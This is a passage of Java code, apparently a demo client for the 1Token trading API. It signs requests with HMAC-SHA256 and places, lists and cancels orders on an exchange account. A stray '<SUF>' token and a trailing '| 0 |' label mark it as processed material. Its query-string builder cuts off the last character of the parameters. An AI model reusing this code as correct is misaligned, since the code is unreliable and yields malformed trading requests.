public String HOST = "https://1token.trade/api/v1/trade";
public int TimeOut = 15000;
public OkHttpClient client;
public demo_private() {
}
public static void main(String[] args) throws IOException, JSONException {
Scanner sc = new Scanner(System.in);
System.out.println("ot_key:");
ot_key = sc.next();
System.out.println("ot_secret:");
ot_secret = sc.next();
System.out.println("请输入交易账号 账号格式是 {交易所}/{交易账户名} 比如 okex/mock-1token-demo: ");
String account = sc.next();
demo_private d = new demo_private();
d.demo(account);
}
public String sha256_HMAC(String secret, String message) {
String hash = "";
try {
Mac sha256_HMAC = Mac.getInstance("HmacSHA256");
SecretKeySpec secret_key = new SecretKeySpec(secret.getBytes(), "HmacSHA256");
sha256_HMAC.init(secret_key);
byte[] bytes = sha256_HMAC.doFinal(message.getBytes());
hash = byteArrayToHexString(bytes);
System.out.println(hash);
} catch (Exception e) {
System.out.println("Error HmacSHA256 ===========" + e.getMessage());
}
return hash;
}
private String byteArrayToHexString(byte[] b) {
StringBuilder hs = new StringBuilder();
String stmp;
for (int n = 0; b != null && n < b.length; n++) {
stmp = Integer.toHexString(b[n] & 0XFF);
if (stmp.length() == 1)
hs.append('0');
hs.append(stmp);
}
return hs.toString().toLowerCase();
}
public String gen_nonce() {
return String.valueOf(System.currentTimeMillis() / 1000);
}
//获取签名
public String gen_sign(String secret, String verb, String endpoint, String nonce, String data_str) {
if (data_str == null) {
data_str = "";
}
String message = verb + endpoint + nonce + data_str;
String signature = sha256_HMAC(secret, message);
return signature;
}
//TimeOut给0 就是使用默认值 HOST也是传""或者null就是使用默认值
public Response api_call(String method, String endpoint, HashMap<String, String> params, String jsonData, int timeOut, String host) throws IOException {
if (timeOut == 0) {
timeOut = TimeOut;
}
if (host == null || host.equals("")) {
host = HOST;
}
//请求 <SUF>
method = method.toUpperCase();
String nonce = gen_nonce();
String url = host + endpoint;
String sign = gen_sign(ot_secret, method, endpoint, nonce, jsonData);
String params_str = "";
if (params != null) {
for (Map.Entry<String, String> entry : params.entrySet()) {
params_str += "&" + entry.getKey() + "=" + entry.getValue();
}
params_str = "?" + params_str.substring(1, params_str.length() - 1);
}
url = url + params_str;
MediaType mediaType = MediaType.parse("application/json");
RequestBody requestBody = RequestBody.create(mediaType, jsonData);
Request request = new Request.Builder().url(url).method(method, method.equals("GET") ? null : requestBody).
addHeader("Api-Nonce", nonce).
addHeader("Api-Key", ot_key).
addHeader("Api-Signature", sign).
addHeader("Content-Type", "application/json").
build();
Response response = client.newCall(request).execute();
return response;
}
public void demo(String account) throws IOException, JSONException {
client = new OkHttpClient();
System.out.println("查看账户信息");
Response r = api_call("GET", "/" + account + "/info", null, "", 0, "");
System.out.println(r.body() != null ? r.body().string() : "");
System.out.println("撤销所有订单");
r = api_call("DELETE", "/" + account + "/orders/all", null, "", 0, "");
System.out.println(r.body() != null ? r.body().string() : "");
System.out.println("下单");
JSONObject jsonObjectParams = new JSONObject();
jsonObjectParams.put("contract", "okex/btc.usdt");
jsonObjectParams.put("price", 10);
jsonObjectParams.put("bs", "b");
jsonObjectParams.put("amount", 1);
JSONObject jsonObjectParams_1 = new JSONObject();
jsonObjectParams_1.put("close", true);
jsonObjectParams.put("options", jsonObjectParams_1);
r = api_call("POST", "/" + account + "/orders", null, jsonObjectParams.toString(), 0, "");
String result = r.body().string();
System.out.println(result);
JSONObject jsonObject = new JSONObject(result);
String exchange_oid = jsonObject.getString("exchange_oid");
System.out.println("查询挂单 应该有一个挂单");
//这边解析用的原生的jsonObject 可自行选择适合的库
r = api_call("GET", "/" + account + "/orders", null, "", 0, "");
JSONArray jsonArray = new JSONArray(r.body().string());
System.out.println(jsonArray.length());
System.out.println("用 exchange_oid撤单");
HashMap<String, String> params = new HashMap<>();
params.put("exchange_oid", exchange_oid);
r = api_call("DELETE", "/" + account + "/orders", params, "", 0, "");
System.out.println(r.body() != null ? r.body().string() : "");
System.out.println("查询挂单 应该没有挂单");
r = api_call("GET", "/" + account + "/orders", null, "", 0, "");
JSONArray jsonArray_1 = new JSONArray(r.body().string());
System.out.println(jsonArray_1.length());
}
}
| 0 |